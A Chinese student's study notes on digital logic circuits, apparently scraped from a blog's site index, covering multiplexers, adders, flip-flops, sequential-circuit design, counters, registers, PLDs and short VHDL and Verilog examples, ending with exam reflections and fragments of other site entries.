3bit，那么不同的组合就对应不同的组从而输出。0～n-1组中选取进行输出。\n相当于是译码器选通了某一组数据。\n注意：下面这张图片只是说明了某一组中的某一个bit是怎么选取出来的。\nMSI多路选择器及其扩展和应用\n就是简单的选通，非常好明白，注意CBA从高bit到低bit。\n总之扩展就会有很多n输入，bbit的选择器。比如：\n直接根据门电路进行分析即可。\n怎么扩展？\n这样的方式，高2bit通过一个2-4译码器，连接到EN来进行选择哪个器件，而低3bit选择端口输出。\n​\t具有三态输出的多路选择器，当其使能输入无效时，将强制输出端处于高阻抗。有三态输出端的多路选择器的输出端可以直接连接在一起，使得用这种器件可以方便地组成更大的多路选择器 MUX，常用的这种器件有74LS251，74LS253和74LS257等。\n​\t比如74LS251举例子：\n输出端在EN没有打通的时候处于高阻态的状态，可以直接连接在一起。\n采用多级MUX的树形结构\n将多路选择器MUX分级连接，低一级(前一级) MUX的输出作为其高一级(后一级) MUX的数据输入。\n用选择输入信号的低位控制低一级MUX，高位控制高一级MUX各级的使能输入用同一个信号进行控制。\n注意这个树形的逻辑，比如111111,前三个111,使得每个器件的D7都通，最后111选择最后一个器件，这和mod是类似的。\n用多路选择器实现任意组合逻辑函数\n怪不得考察MUX，太多了。\n这里的逻辑就是当我们xyz有对应1输出的时候，这里的选通为1。\n下面这个就是稍微有点技巧性的处理：\n考前可以再看一下。可能会考察关于4选1的系列问题。\n这里会考察，比如8选1实现一个4变量的函数。\n这里要根据卡诺图来看每个位置对应的输出是什么？\n比如D4 = w/x/y，那么图上对应右上角的01,要把这个1包括进去，那么就要和z作\u0026amp;运算，所以D4 = z。\n分两个情况讨论：把xy的所有情况在卡诺图上遍历一遍即可。\n加法器和比较器 # 重点应该是adder。\n加法器\n注意半加器和全加器的基本逻辑：\nn位串行加法器：\u0026mdash;》行波进位\n超前的进位：\n特点：所有进位都是同时产生的，故电路延时时间与位数多少无关。在位数较多时其运算速度比行波加法器的要快得多。\n由两个半加器构成一个全加器：\n两个半加的CO异或生成最终的CO。\n我们来看一个加法器模块：\nBCD加法，那么当大于10的时候，我们就要进位并且进行修改：\n时序逻辑电路 # ​\t重点：时序电路概念、双稳态元件的原理（重点是触发器）、同步时序电路的分析与设计方法、脉冲异步时序电路分析与设计方法、常用时序逻辑器件（计数器、寄存器）。\n​\t就是分析设计方法，触发器，计数器和寄存器的原理。\n基础 # 时序电路概述 # 逻辑电路的特性，时序电路状态\n特性:接收输入信号且产生与输入信号有确定关系的正确且稳定的输出信号。\n状态: 用来反映电路以往输入的情况，称为电路状态。在实际电路中，以二进制的形式表示，其中的每一位都称为一个状态变量。时序电路的状态是状态变量的集合,它在任何时刻的值都包含所有的对确定电路将来行为所必需的过去信息。\u0026mdash;》说的什么东西？看书。\n时序电路的一般结构\n一般形式：\n分为一部分组合电路和存储电路，存储电路和组合电路会进行作用和反作用。\n时序电路的分类\n① 按照引起状态发生变化的原（诱）因可分为：\n同步时序电路：其状态的改变受同一个时钟脉冲的控制，且与时钟脉冲同步。即电路在统一时钟CP/CLK控制下，同步改变状态。在两个时钟脉冲中间，输入信号的变化不会改变电路状态。\u0026mdash;》由系统的CLK同步控制电路。\n异步时序电路：无统一的时钟脉冲使整个系统的工作同步，输入直接引起状态改变。\u0026mdash;》直接由外部控制输入，也就是可以自己控制速度的感觉。\n② 按输入信号x的特性可分为：\n同步时序电路中，输入信号x相对时钟脉冲CP的变化速度而言，如果输入信号x在两个时钟脉冲之间信号完成0 →1→0(或1 →0 →1)两次变化则称为脉冲输入同步时序电路，否则称为电平输入同步时序电路。\n异步时序电路中，输入信号x按照电路研究的目的区分：如果研究的是输入信号x完成0 →1→0(或1 →0 →1)两次变化对电路的影响，则称为脉冲输入异步时序电路，否则称为电平输入异步时序电路。\n即：脉冲输入：在两个时钟脉冲之间信号完成0 →1→0(或1 →0 →1)两次变化后对电路的影响；电平输入：信号完成一次0 →1(或1 →0) 变化对电路的影响。\n在两个时钟信号之间（如两个上升沿之间），我们看输入信号 x 的变化：\n如果 x 在这段时间内是短暂跳变的（即从 0→1 然后马上又变回 0），这种变化我们叫它“脉冲” ⇒ 脉冲输入 如果 x 只改变一次（如从 0 变成 1 然后就一直保持），这叫“电平输入” 📌 总结一句话：在“一个时钟周期内”，\n快速跳变两次 ⇒ 脉冲输入 只变一次或不变 ⇒ 电平输入 如图所示：\n③ 按输出信号的特性可分为：Mealy型时序电路和Moore型时序电路。\n项目 Mealy 型电路 Moore 型电路 输出依赖 当前状态 + 当前输入 仅当前状态 输出变化时机 输入变化时立即改变 仅在状态变化时改变 输出位置 接在**状态转移边（箭头）**上 接在状态结点（圆圈）内 状态数 少，通常更紧凑 多，通常冗余些 延迟反应 无（更快） 有（一个周期） Mealy型电路要考虑当前的输入，并且输入变化的时候立刻发生改变。看表即可。\n状态在边上进行改变：\n状态A —— x=1 / y=0 ——\u0026gt; 状态B ↑ 输入决定输出 Moore型电路，状态在节点上面。\n[状态A] ——x=1——\u0026gt; [状态B] y=0 y=1 时序电路的描述方法\n可以看出来区别，Mealy的输入可以决定不同的输出，但是Moore型的输入就只能决定次态。\n从状态图也能看出来区别：\n时序电路的双稳态元件 # 双稳态元件是构成存储电路的基本模块，通常指锁存器(Latch)或触发器(Flip-flop) 。\n双稳态元件的特点是：\n⑴ 有两个稳定状态，分别表示存储数码（数字、逻辑状态） 0 或 1。 \u0026mdash;》为什么叫双稳态的元件。\n⑵ 在触发（激励）信号作用下，它可从一个稳态翻转到另一个稳态。\n每个双稳态元件可保存一位二进制数，对应一个状态变量。每个双稳态元件有两个互反（补）的输出端 Q 和 /Q， 分别被称为：1 态 (Q = 1，/Q = 0)；0 态 (Q = 0，/Q = 1)。\n触发器或锁存器翻转前的状态称为现态 Qn (Q)，翻转后的状态称为次态 Qn+1。\n锁存器是利用电平信号控制数据的输入；\n触发器是利用脉冲信号或信号的边沿控制数据的输入。 \u0026mdash;》基本都是要用CLK来控制的。\n锁存器包括：不带使能控制的锁存器(输入电平直接影响输出)；\n带使能控制的锁存器(仅当使能输入有效时，其输入才直接影响输出)。\n触发器包括：\n主从结构的脉冲触发器；\n维持阻塞结构的边沿触发器。\nS-R 锁存器（Set-Reset Latche） # 工作原理：注意利用的是或非门。\n通过R和S来进行设置。得到了简化的次态真值表，我们之后画卡诺图，最后得到次态方程即可。\n/S - /R 锁存器(/S - /R Latche) # 只是变成了低有效的使能，并且是与非门。\n带使能端的S-R 锁存器 （S-R latche with enable） # 带一个看是否有效的EN端。\n工作过程也是类似的，只是当C有效的时候才能正常工作。\nD锁存器（ D Latche） # ​\tS-R 锁存器由于能够独立地控制置位端及复位（清除、清零）端，因此，它可应用在根据某些条件“置位”而在另外一些条件下“复位”的场所，但这需要置位、复位二根输入信号线。\n​\t在实际工作中经常需要简单地锁存一位二进制数，这时应用D锁存器保存数据就更方便些。\n其实还是S-R锁存器，但是简化了输入的控制，很方便。而且还有一个EN。\n注意要在EN有效的时候才能进行工作。\n所以锁存器工作原理还是比较简单的。\n边沿触发的D触发器 # ​\tD锁存器要求在控制(时钟)输入C （ CLK ）有效期间内，输入数据D 稳定不变。\n​\t这就给实际使用带来不便。因而提出了边沿触发器需求。边沿触发器是指，只在控制信号的有效边沿(前沿、后沿或称为上升沿、下降沿)时接收数据。\n这是什么东西？\n工作过程：\n也就是说，CLK是SR的门控信号，只有当CLK为高电平的时候，D的输入才会有效。\n我们来分析一下上面这个电路。（考试前可以看看）\n开始，当CLK为0的时候，a，b，c三条线都是1。\n如果D从0变成1,那么6的输出成为0,5的输出成为1。\n那么当CLK上升为1的时候，3的输出为0,4的输出为1，那么此时Q为1。也就是CLK使得Q和D同步了。\n并且此时a，b两条线都变成了0，因为是与非门，相当于a封锁了4的输入，b封锁了5的输入。\n那么如果这个时候，D从1变成0,虽然CLK还是1,但是这个6输出的1没有办法传到SR（被a阻塞了），Q还是保持为1。\n所以a\u0026mdash;》置0阻塞线（D从1变成0的时候会被阻塞） b\u0026mdash;》置1阻塞线 c\u0026mdash;》置0维持线（分析方法类似，阻塞了门6的输入）\n总结一下：\n注意有效沿到达之前和到达之后都应该保持一段时间：\n用verilog设计D触发器：\n主从S-R 触发器（ Master/slave S-R Flip-flop） # 主从触发器由主触发器和从触发器两部分构成。 \u0026mdash;》由两个SR构成\n主从触发器是在脉冲下降沿改变输出：\n即 ① 在触发脉冲CLK作用时间(CLK为高电平期间)，S、R状态的变化将记入主触发器；\n② 在CLK下降沿时间，从触发器接收此时刻的主触发器状态。\n（在高电平期间记录变化，在下降沿接收状态）\n这个实现也很清晰：在高电平期间，主SR有效，记录下来，接着在下降之后，后面的从SR有效，进行输出。\n那么工作的情况也是类似的：\n主从J-K 触发器（Master/slave J-K Flip-flop） # ​\t在主从 S-R 触发器的使用过程中不允许S、R信号同时有效，这给应用带来不便。J-K 触发器利用输出Q及/Q不会同时为1或0这一特性，将输入J、K先分别同/Q及Q “相与” 后再输入到主触发器的S及R输入端，从而保证主触发器的S及R端不会同时有效，见图。\n就只是在主从SR的基础上面加了JK的处理，和Q和/Q做了\u0026amp;运算。\n当JK都是1的时候就会反转：\n根据上面的次态真值表画卡诺图：\n​\t为使触发器稳定工作，要求触发脉冲（clk）的最小宽度大于主触发器的状态转换稳定时间，即大于2个门的传输时间；时间间隔要大于4个门的传输时间。\u0026mdash;》因为SR中有两个门。\n边沿触发J－K 触发器（Edge-triggered JK Flip-flop） # ​\t边沿触发JK触发器类似于D触发器也要求有建立时间和保持时间，但其建立时间较脉冲触发（主从结构）的JK 触发器为短，因此应用更为广泛。\n​\t主从结构的JK触发器要求在时钟脉冲CLK的下降沿到来之前，输入端J、K必须稳定较长时间，以便输入（激励）的变化能传送到主触发器的输出QM及/QM。\nJK触发器常用于同步时序电路中，有时JK触发器的次态逻辑要比D触发器简单，不过大部分时序电路采用的是D触发器。这是由于**D触发器只需一个数据输入端，使得设计出的电路更加简单**。因此，在大多数可编程逻辑器件(PLD)中包含的只有 D触发器。 比如可能会考察怎么用D触发器构成JK触发器。\u0026mdash;》直接由逻辑表达式画图即可。\nT触发器 T Flip-flop # 怎么实现？\n用D实现的时候，简单的将Q和T异或运算然后输入即可。\n无使能控制的 T 触发器 # 这个实现也很简单：\n锁存器是利用电平控制数据的输入；\n触发器是利用脉冲或边沿控制数据的输入。\n锁存器包括：\n不带使能控制的锁存器(输入电平直接影响输出)；\n带使能控制的锁存器(仅当使能输入有效时，其输入才直接影响输出)。\n触发器包括：\n主从结构的脉冲触发器； \u0026mdash;》主从SR 主从JK\n维持阻塞结构的边沿触发器。 \u0026mdash;》D触发器 边沿JK触发器\n同步时序电路的分析设计 # 同步时序电路的分析 # 同步时序电路分析的一般步骤 # 过程比较复杂，我们根据具体的例子来看下。\n（1）列出激励函数及输出函数表达式：\na、激励函数 = G( 输入，现态 )\nb、Mealy型输出函数 = F( 输入，现态 )\tOR\tMoore型输出函数 = F( 现态 )\n（2）根据触发器的次态方程得到各个状态变量的次态方程：\n​\t次态变量 = Q( 输入，现态 )\n（3）根据状态变量的次态方程填写二进制状态表。\n（4）根据输出函数表达式填写输出值，得到二进制状态输出表。\n（5）每一个二进制状态分配一个字母状态名，从而得到字母状态输出表。\n（6）根据状态输出表，画出状态图。\n（7）电路特性描述，确定电路的逻辑功能（很容易漏了这个分析步骤！）。\u0026mdash;》这个电路实际上是什么意思？\n同步时序电路分析举例 # 举例子分析：\n1.激励函数针对于状态存储器，确定激励函数和输出函数。\n2.针对存储器，写出状态变量的次态方程。\n作二进制状态输出表。\n再举一个例子：\n分析过程手写：（可能会出现这样的一道题目）\n同步时序电路的设计 # 同步时序电路设计步骤 # 设计和分析的过程是相反的。\n建立原始状态图和原始状态表——构图法 # 基本方法：\n简单例子，直接根据要求画图：\n状态化简：完全给定与不完全给定同步时序电路状态表的化简 # 完全给定同步时序电路状态表的化简 # 等效的相关概念状态等效定义\u0026mdash;》都是很字面的意思。\n​\t设：S1 和 S2 是完全给定时序电路 M1和 M2 ( M1和 M2可以是同一个电路)的两个状态，作为初态同时加入任意输入序列，所产生的输出序列完全一致，则状态 S1 和 S2 是等效(或等价)的，称 S1和 S2 是等效对，记为 (S1，S2)。在同一电路中等效状态可以合并为一个状态。\n怎么判断是否等效\n条件1： 它们的输出完全相同（identical outputs ）。\n条件2：它们的次态满足下列条件之一：\n① 次态相同\n② 次态交错\n③ 次态维持\n④ 后续状态等效\n⑤ 次态循环\n注意次态交错，就是相同的输入的时候，他们的次态都是对方。\n次态维持就是相同的输入，他们的次态都是自己：\n后续等效就是类似于一种递归的判断等效类的方法：\n这个比较抽象，就是一种循环的递归：\n那么当我们拿到一张表怎么办？\n利用隐含表进行状态化简\n用隐含表手动操作一下这样的化简过程。\n接下来是不完全给定的部分： # 注意：只有在不完全的时候我们会考虑相容类的问题。\n和前面有差异：\u0026mdash;》相对来说比较复杂。\n比如化简这样一个状态表：（没有给定的部分直接当作是相同的）\n分析如下：\n覆盖闭合表就是找不冲突的一个过程，并且尝试覆盖所有的变量。\n并且其中x = 0,以及x = 1的输出都必须在一个已经选定的相容类之中。\n状态分配：相邻状态分配法 # 状态分配就是给最小化状态表中的每个字母状态指定（指派）一个二进制代码来表示，又称为状态编码。\n我们刚才已经化简得到了状态表，现在我们要进行分配一些二进制数字。\n比如说我们来进行一种分配：\n有K个触发器，n种状态，我们怎么计算？\n总共可能的总数：\n真实的数量：\n继续上面的分配，我们一共有两种方案：\n第一种方案：\n第二种方案：\n明显可以看出来第二种更麻烦，那我们怎么处理？显然1都在一起的话是最好的，这样可以形成更大的卡诺圈。\n相邻状态分配法 State Assignment Rules\n​\t思路：尽可能使次态和输出函数在卡诺图上**“1”、“0”单元的分布为相邻**，以便形成较大的卡诺圈，从而得到最简的次态方程（实际上是激励方程，D器件两者能统一）和输出函数表达式。\n规则 I：在相同输入条件下，次态相同，安排现态的编码相邻。\n规则 II：在相邻输入条件下，同一现态，安排次态的编码相邻。\n规则III：输出完全相同，安排现态的编码相邻。（有利于优化输出函数）\n考试之前再看一下这里。\n规则I：在相同输入条件下，次态相同，安排现态的编码相邻。\n在同一个列中，看有多少次次态是相同的，显然右边的图中，一共出现了4次是相同的情况。\n让现态相邻。\n规则II：在相邻的输入条件下，同一现态，安排次态的编码相邻。 \u0026mdash;》这里的相邻和卡诺图是类似的。\n让次态相邻。\n规则III：输出完全相同，安排现态的编码相邻。\n比如这里的BC相邻的话，由于满足了一次，那么改善效果就是2 * 1 * 1 = 4\n那么要注意这里p是组合数量，但是q是位数，q = 1。\n现态相邻。\n那么我们到底怎么分配？我曹！\n做题：\n完成这个状态表的分配：\nK = 2 p = 2 q = 1\n再把规则搞清楚一次：\n三个规则怎么计算？（这里，规则1不考虑输入为“11”的组合）\n激励函数和输出函数的确定 # 这个时候我们很不容易的把二进制状态分配出来了，我们怎么确认函数？\n根据所选择的激励表直接画就可以了。\n（1）触发器类型的选择\n触发器类型的不同将决定电路中激励函数的繁简。\n因此，选择触发器类型的重要条件就是能使激励函数最简。\n在大多数情况下，最常选用的是D触发器，其次是选用JK触发器和T触发器。\n在非计数型的时序电路中，有时可选用SR触发器。在小规模 PLD器件中只包含D触发器。\n大规模PLD中有些型号有其他触发器的。\n激励函数和输出函数的确定\n根据这个二进制状态表。\nD1 = Y1 D0 = Y0对于D触发器，直接和次态是一样的。\n用JK实现，稍微就要看看表了：\n记住JK的激励表。。。\n用T触发器，也是类似的做法。\n电路分析与说明、设计举例 # 举一个简单的例子：\n注意最终的电路图中触发器的CLK端连接CLK！！！\n这块可以做上几个题目，考试应该不会考察过于复杂的情况。\n脉冲异步时序电路的分析设计 # 这里注意概念问题：\n时序电路的分类：按其引起状态发生变化的原因不同而分类。\n同步时序电路受**统一的时钟脉冲信号（CLK）**控制，工作特点为：\n（1）时钟脉冲信号同时到达各记忆器件，促使电路状态发生预期改变。\u0026mdash;》各个触发器连接相同的CLK。\n（2）只有前一个脉冲信号引起的电路响应完全结束后，第二个脉冲信号方能到来。（周期T=最大路径延迟时间+组合险象的消失时间。）\u0026mdash;》两个CLK之间结束变化。\n（3）外部输入信号的变化应满足触发器正常工作所需的建立和保持时间。这些特点简化了电路分析与设计工作。但电路的工作速度的提高受到了限制，且对时钟脉冲信号到达各记忆器件的时间及外部信号的变化有较严格的要求。\n异步时序电路的特点：\n（1）没有统一的同步时钟脉冲，电路状态的改变是由外部输入信号的变化直接引起的。\u0026mdash;》可以不用CLK。\n（2）按输入信号的特征分为：脉冲型与电平型。\n1.脉冲型：输入是脉冲信号，即输入信号的电平变化是**“高-\u0026gt;低-\u0026gt;高”或“低-\u0026gt;高-\u0026gt;低”，且在输入脉冲的一个周期内使电路状态只改变一次。所以分析与设计方法与同步时序类似。**\n差别：异步脉冲电路的特殊规定引起的（对输入进行了限定！）。 \u0026mdash;》一个脉冲改变一次，但是对于输入的值会限定。\n2.电平型：输入是电平信号，即输入信号的电平变化是**“高-\u0026gt;低”或“低-\u0026gt;高”，且在电平变化后的一段时间里，电路可能发生多次状态改变，最后才趋于稳定。因此，输入与输出间存在延迟与竞争现象，设计比较复杂。\u0026mdash;》只有一次电平的变化，但是可能会产生多次改变**。\n也分为Mealy和Moore。\nA.脉冲异步时序电路与同步时序电路的相同点是：\n（1） 存储元件都是触发器/锁存器。 \u0026mdash;》使用器件相同\n（2） 状态的改变都依赖于外部输入（脉冲）信号和电路当前状态。 \u0026mdash;》都依赖与外部和当前状态\nB.脉冲异步时序电路与同步时序电路的差异是：\n⑴ 脉冲异步时序电路无外加的统一的时钟脉冲。 \u0026mdash;》不用CLK\n⑵ 输入变量为脉冲信号，由输入脉冲直接引起电路的状态改变。\n⑶ 由次态逻辑电路产生各触发器控制输入（激励）信号(Y1, Y2 , …,Yr) ,而且还产生时间有先后的各触发器的时钟控制信号(CLK1, CLK2, …,CLKr) 。？？？\nC.脉冲异步时序电路输入信号的限制：\n为了使电路可靠工作，电路状态变化可预知，对脉冲异步时序电路的输入信号作如下规定：\n⑴ 不允许两根或两根以上输入线上同时有输入脉冲信号。\n⑵ 在上一个输入脉冲信号引起的电路状态变化未稳定以前，不允许加入新的输入脉冲信号。\nD.脉冲异步时序电路分析方法:\n​\t可将同步时序电路的分析与设计过程及工具稍作修改直接应用于脉冲异步电路。每个外部输入脉冲信号加入时，电路中所有的触发器均发生从现态到次态的转换。如果其中触发器的时钟端无时钟脉冲，则认为该触发器的次态等于现态。\n分析方法修改：\n脉冲异步时序电路的分析步骤基本上与同步电路一样，仅作以下修改：\n⑴ 输入变量取值为1表示有脉冲信号，取值为 0 表示无脉冲信号。触发器的时钟输入端也按上述规定。\n⑵ 控制函数包括触发器的控制（激励）输入(Y1,Y2 , …,Yn)及触发器的时钟输入 (CLK1, CLK1, …,CLKr) 。\n⑶ 两个或两个以上的输入变量不能同时为1；输入变量全为0时，电路状态不变。\u0026mdash;》这里要注意！\n举一个考试中考过的例子：\n用D触发器设计一个“x1–x1–x2”序列检测器（米勒型）。\n关于CLK和D的关系一定要搞清楚，比较复杂：\n这里也是考试的重点。\n1.扩展的情况，CLK为d\u0026mdash;》D也为d。\n2.x1x2不同时为1\u0026mdash;》CLK为d\u0026mdash;》D也是d。\n3.针对于比如y1,现态和次态之间没有变化（认为⌚没有作用），那么CLK = 0\u0026mdash;》D = d。\n4.如果发生了变化（认为⌚驱动了D触发器），那么CLK = 1\u0026mdash;》D的值就是次态的值（和激励表是一样的）。\n常用的时序逻辑器件 # 重点应该主要是计数器和寄存器。\n计数器 # 主要类型：\n无（不）规则计数器\n有规则计数器：1.升计数器2.降计数器3.升降计数器\n可载入（可置初值）计数器\n计数器类型 n 个触发器的计数模 普通二进制计数器 2^n 环形计数器（Ring） n 扭环计数器（Johnson） 2n 不规则Counter\n就是提前规定好数字了？\narchitecture C1357_arch of C1357 is begin process (CLK,RESET,Q) begin if RESET = \u0026#39;1\u0026#39; then Q \u0026lt;= \u0026#34;001\u0026#34;; elsif CLK\u0026#39;event and CLK = \u0026#39;1\u0026#39; then case Q is when \u0026#34;001\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;011\u0026#34;; when \u0026#34;011\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;101\u0026#34;; when \u0026#34;101\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;111\u0026#34;; when \u0026#34;111\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;001\u0026#34;; when others =\u0026gt; Q \u0026lt;= \u0026#34;001\u0026#34;; end case; end if; end process; end C1357_arch; 设计例子 # 步进码\u0026mdash;》4bit能表示八个数字。\n0 0000\n1 0001\n2 0011\n3 0111\n4 1111\n5 1110\n6 1100\n7 1000\n规则计数器\n​\t有规则计数器：指计数器的计数值以连续的方式计数，如1-2-3-4-5…或9-8-7-6-5-4….这种计数器的计数方式一般可以分成升计数器和降计数器。\n例1：设计一个升计数器，其计数范围依顺序为：0-255。\n--*************************** --* 8 Bit UP Counter * --* Filename : counter8 * --*************************** library IEEE; use IEEE.std_logic_1164.all; use IEEE.std_logic_unsigned.all; entity counter8 is port ( CLK: in STD_LOGIC; Q: inout STD_LOGIC_VECTOR (0 to 7); RESET: in STD_LOGIC ); end counter8; architecture counter8_arch of counter8 is begin process (CLK,RESET,Q) begin if RESET = \u0026#39;1\u0026#39; then Q \u0026lt;= \u0026#34;00000000\u0026#34;; elsif CLK\u0026#39;event and CLK = \u0026#39;1\u0026#39; then Q \u0026lt;= Q + 1; end if; end process; end counter8_arch; 3.4的计数器 # 还剩下整整24个小时，此时，任务主要分为三个： 1.计数器和寄存器的内容理解。\n2.语言VHDL和Verilog。\n3.大量刷题。\n“不要浪费时间，但是可以休息。”\n计数器的分类及原理 # 考试填空重点：\n1.按照功能分类：加法计数器，减法计数器，可逆计数器（74LS169,根据UP/DN可以选择加法还是减法）\n2.进位方式：1.串行计数器\u0026mdash;》异步2.并行计数器\u0026mdash;》同步\n3.进位的基数：2进制 10进制 n 个触发器可以构成模 m 的计数器，其中：m ≤ $$2^n$$\n二进制串行计数器： # 直接取反。\n这个就比较直观了，因为只有在上升沿才发生变化。\n怎么用D触发器来实现的？T触发器实现？\n上升沿就是加法计数器，下降沿就是减法计数器（分情况）：\n注意规律：\u0026mdash;》只要记住+1计数器并且是前沿触发的情况就可 CLKi = /Qi-1\n二进制同步计数器 # 这个传递关系是好理解的：\n那么减法也是类似的：\n那么用JK来实现：\n前面的所有项\u0026amp;起来，一起加到JK端，是否让输出反转，只有所有的值都是1的时候才会进行反转的操作。\n用跳越的方法实现任意模数的计数器 # 一般来说会有$$2^n$$但是我只想要m个：\n处理方法：\n强置位计数器 (Resetting)\n​\t设计电路时，先设计一个二进制计数器，然后再加入强置位电路。\n​\t假设起跳状态为Sa，则有： 在没有出现 Sa+1 时，不影响二进制计数器的状态转换规律，强置位的逻辑电平为无效。 在出现 Sa+1时，强置位电平有效，从而对预定的某些位触发器实行预定的“强制置位”或“强制复位”。\u0026mdash;》一拍两跳。\n分析这个例子：\n其实比较简单，当输出为111的时候，Q1端PR设置为1,Q2端CLR，Q3端CLR，就可以直接从001开始。\n提前准备好就跳跃：\n电路图：\nMSI计数器及其应用 # 74LS163\n同步计数器，并且有清零端。\n比如怎么mod11：\n这里会简单的考察怎么设计。\n当输出为1010的时候，就给两个1与非门，然后加载回/LD和/CLR，这样就是mod11。\n这里比如我们置位设置成0101，那么当RCO进位的时候，会直接load DCBA这里的二进制数字，从而mod。\n注意这个余3码计数器的实现：\n开始是0011,就是3,当为1100（12）的时候，开始循环。\n3-12 因为余三码是减去3。\n其余类型的MSI：\n注意UP和/DN\n不想看节拍分配器了。\n寄存器 # 寄存器的分类 # 用于暂时存放二进制代码的逻辑器件称为寄存器。\nreg按照功能可以分为 串行寄存器 并行寄存器 串并行寄存器\n串行及串并行寄存器具有移位功能，通常称为移位寄存器 Shift Registers。\u0026mdash;》带串行就可以移位。\n用处分类：\n1.通用寄存器\u0026mdash;》rax 2.指令寄存器\u0026mdash;》rip 3.地址寄存器\u0026mdash;》rbp（某些基址变址寄存器） 4I/O寄存器？\n并行寄存器：总之就是暂时存放数据。\n74LS374\n和通用总线相连的都是三态器件。\n在⌚信号的CLK有效沿：\n移位寄存器 Shift Registers\n一共有四种结构：\nMSI寄存器及其应用 # 74LS194\n脉冲发生器 # 没时间看了，给了。\n可编程逻辑器件 # 概述 # ​\t第四章：SPLD、CPLD、FPGA的基本原理（仅涉及填空、选择、简答题）、VHDL和Verilog（涉及填空、简答和编程题）。\u0026mdash;》考察重点，时间来不及，我们大概过一下。\n​\tPLD：Programmable Logic Device 可编程逻辑器件。\n​\tPLD 是由半导体工厂制好，不需要为（应用）定制任何掩模，用户可以利用软件开发工具（EDA： Electronics Design Automation ）和编程器设备（也可能只是一根电缆），对芯片功能进行编程（实现具体应用）的大规模集成电路器件。\n​\t分类方法：\n记住上面的。PLA 都可以编程，GAL和PAL输入\u0026amp;阵列可以编程。 ROM输出或阵列可以编程。\n有哪些PLD：PPLD，EPPLD，EEPPLD\n简单可编程逻辑SPLDSimple PLD # ROM Read Only Memory # PLA Programmable Logic Array # PAL Programmable Array Logic # GAL Generic Logic Array # 考察。\n添加了OLMC。\nPLC Programmable Logic Controller # Verilog # 我们会随着上面的过程在这里逐渐学习Verilog的语法：\n​\talways @(*) begin \u0026hellip; end 是 Verilog 硬件描述语言（HDL） 中的一种语法，用于描述组合逻辑，是数字电路设计中非常常见的结构。\n注意，块中用到的信号发生了变化，就要进行重新计算。\nalways：表示一个“过程块”，用来描述硬件行为。\n@(*)：表示敏感列表，即只要块中用到的任意信号发生变化，就重新计算执行\nbegin ... end：表示组合逻辑块的代码段。\n结构 类型 是否需要时钟 用途 always @(*) 组合逻辑 否 解码器、多路选择器、ALU等 always @(posedge clk) 时序逻辑 是 寄存器、计数器、状态机等 所以clk就是控制⌚的问题。\nwire和reg的区别\n类型 wire reg 中文名称 线网类型（导线） 寄存器变量 是否具有存储功能 ❌ 没有，值不能保持 ✅ 有，保存上一个赋值结果 是否可以在 always 块中赋值 ❌ 不可以（只能由 assign 赋值） ✅ 可以（always 或初始块赋值） 是否需要时钟 ❌ 不需要（组合逻辑） ✅ 一般用于时序逻辑（需要 clk） 默认值 无 初始为未知（X） 驱动方式 assign 或其他模块输出 always 或 initial 块中赋值 wire a; always @(*) begin a = b \u0026amp; c; // ❌ 错误：wire 不能在 always 中赋值 end reg a; assign a = b; // ❌ 错误：reg 不能用 assign 连续赋值 注意上面两点的核心区别。\nassign只能给wire类型赋值。\n下面也可以看的很清楚区别。\n怎么写一个4bit加法器，考试考察：\nmodule _4Adder(a, b, cin, sum, cout); //端口类型定义 input[3:0] a, b; input cin; output[3:0] sum; output cout; //数据流描述逻辑电路功能 assign {cout,sum} = a+b+cin; endmodule 关于考试的信息 # 2.先判断最后的符号，然后用绝对值相减。 3.纯小数，和确定机器字长的大小：\n4.注意haming校验的问题：\n卡诺图中为 0 的部分表示：\n逻辑函数在对应输入组合下的输出为 0。\n📌 简要说：\n用于最小化反函数（如 SOP 的反、POS 表达式） 在进行与非实现或反函数化简时，要关注为 0 的区域 💡补充一句（应对考试）：\n如果你要求最小与-或表达式（SOP），就圈 为 1 的部分； 如果你要求最小或-与表达式（POS），就圈 为 0 的部分。\n5.课后2.3\u0026mdash;》考试原题。\n6.易错，看起来好像是有反馈，但是并非时序电路：\n7. 考试原题。\n​\t考完，简单总结一下，10分的题没时间写了，纯空（主要是一直想上厕所有debuff），接着就是设计题还比较简单，但是考察了5变量卡诺图，并且基础概念很多，这也是我认为这个考试比较逆天的地方，有40-50分的题目都在考察概念性问题，并且第4章的占比很多，如果你追求高分，要仔细背，不过我是无所谓了。\n","date":"2025-06-27","externalUrl":null,"permalink":"/zh-cn/notes/digitallogiccircuits/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e数字电路基础 \n    \u003cdiv id=\"%E6%95%B0%E5%AD%97%E7%94%B5%E8%B7%AF%E5%9F%BA%E7%A1%80\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%95%B0%E5%AD%97%E7%94%B5%E8%B7%AF%E5%9F%BA%E7%A1%80\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003e我对于学校数字电路实验的评教，今天遇到了一些事情，真的非常生气，我不写出来实在是难受：\u003c/p\u003e\n\u003cp\u003e​\t我校的以vivado为开发平台的数字电路实验是相当不合理的：\u003c/p\u003e\n\u003cp\u003e​\t1.学生对于vivado没有相当的基础，身为一名计算机学院的学生，对于计算机组成原理的重要性认知很清楚，但是对于硬件开发没有合理的认知水平，理论铺设不到位，对于使用的软件更是一知半解。所以我们的实验是怎么开展的呢，“抄代码”，对着截了很多模糊不清的图片的PPT，抄，抄有着“详细注释”的宋体代码，我们试图在西一楼106机房“抄”出来对于数字电路的认知，这是难以置信的。\u003c/p\u003e","title":"DigitalLogicCircuits","type":"notes"},{"content":" “勿以浮沙筑高塔。”\n","date":"2025-06-01","externalUrl":null,"permalink":"/zh-cn/csapp/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e“勿以浮沙筑高塔。”\u003c/p\u003e\u003c/blockquote\u003e","title":"","type":"csapp"},{"content":" Virtual Memory:MallocLab # CSAPP中关于虚拟内存的一点简单笔记。\n1.物理和虚拟寻址 # 就是CPU直接找地址。\nCPU生成虚拟地址，通过MMU翻译。\nMMU Memory Management 